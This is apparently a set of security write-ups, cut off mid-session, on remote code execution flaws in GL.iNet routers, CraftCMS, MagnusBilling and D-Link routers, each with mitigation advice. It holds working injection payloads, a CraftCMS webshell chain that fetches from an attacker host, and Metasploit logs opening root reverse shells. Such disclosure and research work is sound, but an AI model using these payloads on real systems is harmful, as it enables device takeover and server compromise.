- E750/E750V2, MV1000:
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page
Credits
DZONERZY
Technical Analysis
This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log
and get_crash_log
functions of the logread
module, as well as the upgrade_online
function of the upgrade
module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.
Attackers can manipulate routers by passing malicious shell commands through the API (v4).
get_system_log function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_system_log", { "lines": "| echo pawned >/tmp/lines.pawned", "module": "| echo pawned >/tmp/module.pawned" } ] }
get_crash_log function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_crash_log", { "mode": "| echo pawned >/tmp/mode.pawned", "log_number": "| echo pawned >/tmp/log_number.pawned" } ] }
upgrade_online function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "upgrade", "upgrade_online", { "url": "| echo pawned >/tmp/url.pawned", "sha256": "| echo pawned >/tmp/sha256.pawned", "keep_config": "| echo pawned >/tmp/keep_config.pawned", "keep_package": "| echo pawned >/tmp/keep_package.pawned" } ] }
This vulnerability requires post-authentication with a SessionID (SID
) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID
can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.
I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE
to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin
.
Module in Action
GL.iNet AR300M16 emulated target
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin [*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/console: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 91 [MODE] debug [+] Network reachable on 192.168.1.1! [+] Run debug! Creating TAP device tap91_0... Set 'tap91_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994 [*] IP - 192.168.1.1 [*] connecting to netcat (192.168.1.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 1 / # / # ifconfig ifconfig br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:392 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:427 errors:0 dropped:0 overruns:0 frame:0 TX packets:44 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:940 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / # netstat -rn netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
- You should now be able to
ping
the network address 192.168.8.1 from your host and run anmap
command to check the services (HTTP TCP port 80).
- NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
- You can change this with:
ip a del 192.168.1.2/24 dev tap91_0
andip a add 192.168.8.2/24 dev tap91_0
.
# ifconfig tap91_0 tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0 inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link> ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet) RX packets 39 bytes 4692 (4.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 50 bytes 4044 (3.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# ping 192.168.8.1 PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. 64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms 64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms ^C --- 192.168.8.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.8.1 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC Nmap scan report for 192.168.8.1 Host is up (0.020s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 443/tcp open https MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info Name: GL.iNet Unauthenticated Remote Command Execution via the logread module. Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445 Platform: Unix, Linux Arch: cmd, mipsle, mipsbe, armle Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2013-12-10 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Unknown DZONERZY Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 Unix Command 1 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (UDP) SID no Session ID SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o n all addresses. SRVPORT 8080 yes The local port to listen on. Payload information: Description: A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module. This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen by the attacker. However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be retrieved without knowing a valid username and password. The following GL.iNet network products are vulnerable: - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0; - MT6000: v4.5.0 - v4.5.3; - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7; - E750/E750V2, MV1000: v4.3.8; - and potentially others (just try ;-) NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. References: https://nvd.nist.gov/vuln/detail/CVE-2023-50445 https://nvd.nist.gov/vuln/detail/CVE-2023-50919 https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445 https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919 https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md View the full module info with the info -d command.
Scenarios
FirmAE GL.iNet AR300M16 Router Emulation Unix Command – cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0 target => 0 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI [*] Executing Unix Command for cmd/unix/reverse_netcat [*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000 pwd / id uid=0(root) gid=0(root) groups=0(root),65533(nonevpn) uname -a Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux exit
FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper – linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1 target => 1 msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit [*] Started reverse TCP handler on 192.168.8.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.8.1:80 can be exploited. [!] The service is running, but could not be validated. Product info: |4.3.7|n/a [*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e [*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp [*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w [*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w [*] Sending payload to 192.168.8.1 (curl/7.88.1) [*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000 [*] Command Stager progress - 100.00% done (117/117 bytes) [*] Server stopped. meterpreter > getuid Server username: root meterpreter > sysinfo Computer : 192.168.8.1 OS : (Linux 4.1.17+) Architecture : mips BuildTuple : mips-linux-muslsf Meterpreter : mipsbe/linux meterpreter >
You can find the module here in my local repository or as PR 18648 at the Metasploit Github development.
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A =>
v4.0.0 < v4.5.0
- MT6000 =>
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 =>
v4.3.7
- E750/E750V2, MV1000 =>
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
CVE-2023-50445
AttackerKB article: CVE-2023-50919 by h00die-gr3y
From zero to botnet: GL.iNet going wild by DZONERZY
GL.iNet home page
GL.iNet API 3.x documentation
GL.iNet API 4.x documentation
GL.iNet unauthenticated RCE – h00die-gr3y Metasploit local repository
GL.iNet unauthenticated RCE – Metasploit PR 18648
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
DZONERZY
And to all other good fellows who raised this concern ;–)
Technical Analysis
CraftCMS
is a popular content management system that is widely used and available on the Internet. Unfortunately CraftCMS
versions between 4.0.0-RC1
– 4.4.14
are exposed by a vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.
The vulnerability occurs using a PHP object creation in the \craft\controllers\ConditionsController
class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in \GuzzleHttp\Psr7\FnStream
. Using this vulnerability in combination with The Imagick Extension
and MSL
which stands for Magick Scripting Language
, a full RCE can be achieved. MSL
is a built-in ImageMagick
language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick
constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.
Well, this is quite a mouth full, so let’s take it step by step…
Let’s first touch the part of PHP Object Creation
which is the core of the issue. In this article from ptswarm written by Arseniy Sharoglazov
the concept of PHP’s Arbitrary Object Instantiation
is very well explained that is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes.
Within CraftCMS versions 4.4.14
and below, this flaw can also be leveraged to run arbitrary code on a vulnerable instance.
In this blog published by Thanh
on September 14, the security researchers discovered a PHP object instantiation flaw that resides in the \craft\controllers\ConditionsController
class. The beforeAction
method was identified and provided the ability to create an arbitrary object.
So far, so good, but you will need to find gadgets that can be used to escalate the object creation into something meaningful, like methods that allow to run code. One of these methods was found in the \GuzzleHttp\Psr7\FnStream
class.
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
with the curl
command below, you can trigger this flaw calling the method and executing the phpinfo
command.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
Capturing the response with burpsuite
shows that the phpinfo
is executed.
Burp response
HTTP/2 500 Internal Server Error Content-Type: text/html; charset=UTF-8 Date: Sun, 17 Dec 2023 17:17:41 GMT Server: nginx X-Powered-By: Craft CMS X-Robots-Tag: none <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <title>Invalid Configuration – yii\base\InvalidConfigException</title> --- SNIP REMOVED CONTENT --- <h1 class="p">PHP Version 8.1.26</h1> </td></tr> </table> <table> <tr><td class="e"> System </td> <td class="v"> Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 </td> </tr> <tr><td class="e"> Build Date </td> <td class="v"> Nov 24 2023 13:12:14 </td> </tr> <tr><td class="e"> Build System </td> <td class="v"> Linux </td> </tr> <tr><td class="e"> Server API </td> <td class="v"> FPM/FastCGI </td> </tr> --- ETC ETC ---
This is pretty cool, but it is quite limited what you can execute.
For instance, PHP system()
calls with arguments do not work as well as inline PHP code. We have to find other gadgets that can deliver a full RCE using this flaw.
Let’s go back to the article written by Arseniy Sharoglazov
. In the last section of his article, he explains the Imagick Extension
and more specific to use this extension in combination with the Magick Scripting Language (MSL)
to trigger a full RCE using PHP object instantiation (see section Imagick Extension and RCE #2: VID Scheme).
And surprise, surprise, CraftCMS is using this Imagick Extension
which allows us to build a full RCE.
Using the Imagick
constructor class in combination with MSL
and a VID
schema allows you to read and write images. This can be used to build an out of band RCE reading an image file with PHP code from the attacker controlled host and write it back to the CraftCMS
host for execution.
Step 1:
Create an MSL
file (pawn.msl
) that downloads a vulnerable payload from the attacker host and writes it to CraftCMS
instance.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://attacker_ip:8000/vuln.png" /> <write filename="/var/www/html/web/shell.php" /> </image>
Step 2:
Create the vuln.png
by adding PHP code to a small PNG image and host it on the attacker machine
exiftool -comment="<?php phpinfo(); ?>" vuln.png python3 -m http.server 8000
Step 3:
Call the Imagick
constructor class to upload the MSL
file.
This typically creates a MSL
file with a random filename starting with php<random chars>
in the /tmp
directory on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -H 'Content-Type: multipart/form-data' -F 'action=conditions/render' -F 'configObject[class]=craft\elements\conditions\ElementCondition' -F 'config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}' -F 'filename=@pawn.msl'
Step 4:
Trigger the MSL
file execution using Imagick
constructor class again.
You should see the vulnerable PNG getting downloaded from the attacker machine and copied to shell.php
on the CraftCMS
instance.
curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'
Step 5:
Run the vulnerable shell code (shell.php
) and you should see the phpinfo
back in the response.
curl -k "https://craftcms-vuln.ddev.site/shell.php" -x localhost:8080 --output -
And things get even better, because you can avoid the out of band download by using caption:
and info:
schemes. The combination of both allows to create a web shell in one go using the MSL
syntax below.
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php phpinfo(); ?>" /> <write filename="info:/var/www/html/web/shell.php" /> </image>
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching a PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.
You can find the module here in my local repository or as PR 18612 at the Metasploit Github development.
Mitigation
You should update your CraftCMS
application to the latest version or at least to 4.4.15
.
References
CVE-2023-41892
CraftCMS RCE analysis
CraftCMS Advisory
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
CraftCMS Unauthenticated RCE – h00die-gr3y Metasploit local repository
CraftCMS Unauthenticated RCE – Metasploit PR 18612
CraftCMS Installation
CraftCMS downloading previous versions
Credits
thanhc - https://substack.com/@thanhc
discovery of the vulnerability
Arseniy Sharoglazov - https://swarm.ptsecurity.com/author/arseniy-sharoglazov/
chybeta - https://github.com/chybeta
Technical Analysis
MagnusBilling
is an open source tool written in PHP
and JAVASCRIPT
, using the EXTJS 6
and YII FRAMEWORK
frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.
Unfortunately a command injection vulnerability exists in MagnusBilling
versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php
, with a call to exec()
at line 753. The parameter to exec()
includes the GET
parameter democ
, which is controlled by the user.
if (isset($_GET['demo'])) { if ($_GET['demo'] == 1) { exec("touch idepay_proccess.php"); } else { exec("rm -rf idepay_proccess.php"); } } if (isset($_GET['democ'])) { if (strlen($_GET['democ']) > 5) { /** begin vulnerable code **/ exec("touch " . $_GET['democ'] . '.txt'); /** end vulnerable code **/ } else { exec("rm -rf *.txt"); } }
An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data
or asterisk
. At a minimum, this allows an attacker to compromise the billing system and its database.
You can simply test the vulnerability launching a curl
request issuing a blind command injection using a sleep
command, lets say 15 seconds.
Curl
will take approximately 15 seconds to return if the target is vulnerable.
curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'
A shodan
search with dork http.html:"magnusbilling"
still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.
I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP
webshell, performing a UNIX
command injection or launching native Linux Meterpreter
.
Module in action
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info Name: Magnusbilling application unauthenticated Remote Command Execution. Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2023-06-26 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Eldstal Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics /using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /mbilling yes The MagnusBilling endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local ma chine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. When TARGET is 0: Name Current Setting Required Description ---- --------------- -------- ----------- WEBSHELL no The name of the webshell with extension. Webshell name will be randomly generated if left unset. Payload information: Description: A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request. A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec(). The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and not properly sanitised/escaped. After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically `www-data` or `asterisk`. At a minimum, this allows an attacker to compromise the billing system and its database. The following magnusbilling applications are vulnerable: - Magnusbilling application version 6 (all versions); - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability; References: https://nvd.nist.gov/vuln/detail/CVE-2023-30258 https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258 https://eldstal.se/advisories/230327-magnusbilling.html View the full module info with the info -d command.
Example using the PHP target option
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31 rhosts => 192.168.201.31 msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.31:80 can be exploited. [*] Performing command injection test issuing a sleep command of 5 seconds. [*] Elapsed time: 5.1 seconds. [+] The target is vulnerable. Successfully tested command injection. [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.31 [+] Deleted LfsCVIttNL.php [*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000 meterpreter > getuid Server username: asterisk meterpreter > sysinfo Computer : debian OS : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64 Meterpreter : php/linux meterpreter >
You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.
Mitigation
You should update your MagnusBilling
application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php
under the mbilling
directory at your web server root.
References
CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6
Credits
eldstal.se
discovery of the vulnerability
Technical Analysis
This vulnerability is based on an old theme that was discovered in 2013 by Zach Cutlip
and explained in his blog The Shadow File. It is based on the infamous UPnP
attack where a command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to the UPnP
via a crafted M-SEARCH packet.
Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform a remote command execution by injecting the payload into the Search Target
(ST) field of the SSDP M-SEARCH discover packet.
What triggered my interest is the fact that 10 years after the discovery, this vulnerability still exists and is alive and kicking. Running a Shodan search title:"d-link"
shows around 80.000 D-Link devices from which a considerable amount of devices are still vulnerable. Fortunately, this attack can only performed as a LAN based attack because the UPnP
discovery service running on port 1900 is typically not exposed to Public Internet.
Besides the DIR-600 model, multiple other D-Link devices have the same vulnerability. I did some extensive testing with FirmAE
to simulate and test different D-Link devices and found a comprehensive list of devices that are vulnerable:
- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
- probably more looking at the scale of impacted devices :–(
In Metasploit
, several modules are available to exploit this vulnerability, but unfortunately they all lack good check
logic to determine if a D-Link device is vulnerable. Another limitation is that these modules only cover a part of the vulnerable devices during the exploit phase due to the fact that not all architectures are supported (mipsbe
, mipsle
and armle
).
To overcome these limitations, I created a new module that has an enhanced check
method that determines the D-Link device model, firmware information and architecture to determine if the device is vulnerable. Also I extended the exploit part to cover the missing armle
architecture using the Linux Dropper
target and I included a Unix Command
target that leverages the busybox telnetd
payload.
Module in Action
D-Link DIR-600 emulated target
# ./run.sh -d d-link /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin [*] /root/FirmAE/firmwares/DIR600B6_FW215WWb02.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 25 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Web service on 192.168.0.1 [+] Run debug! Creating TAP device tap25_0... Set 'tap25_0' persistent and owned by uid 0 Initializing VLAN... Bringing up TAP device... Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - DIR600B6_FW215WWb02 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [+] netcat connected ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # uname -a Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux / # hostname dlinkrouter / #
Metasploit module
msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > options Module options (exploit/linux/upnp/dlink_msearch_unauth_lan_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) UPNP_PORT 1900 yes Universal Plug and Play (UPnP) UDP port URIPATH no The URI to use for this exploit (default is random) URN urn:device:1 no Set URN payload VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/unix/bind_busybox_telnetd): Name Current Setting Required Description ---- --------------- -------- ----------- LOGIN_CMD /bin/sh yes Command telnetd will execute on connect LPORT 4444 yes The listen port RHOST 192.168.0.1 no The target address Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > check [*] Checking if 192.168.0.1:80 can be exploited. [*] 192.168.0.1:80 - The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle msf6 exploit(linux/upnp/dlink_msearch_unauth_lan_rce) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.0.1:80 can be exploited. [+] The target appears to be vulnerable. Product info: DIR-600|2.15|Bx|mipsle [*] Executing Unix Command for cmd/unix/bind_busybox_telnetd [*] payload: urn:device:1;`telnetd -l /bin/sh -p 4444` [*] Started bind TCP handler against 192.168.0.1:4444 [*] Command shell session 1 opened 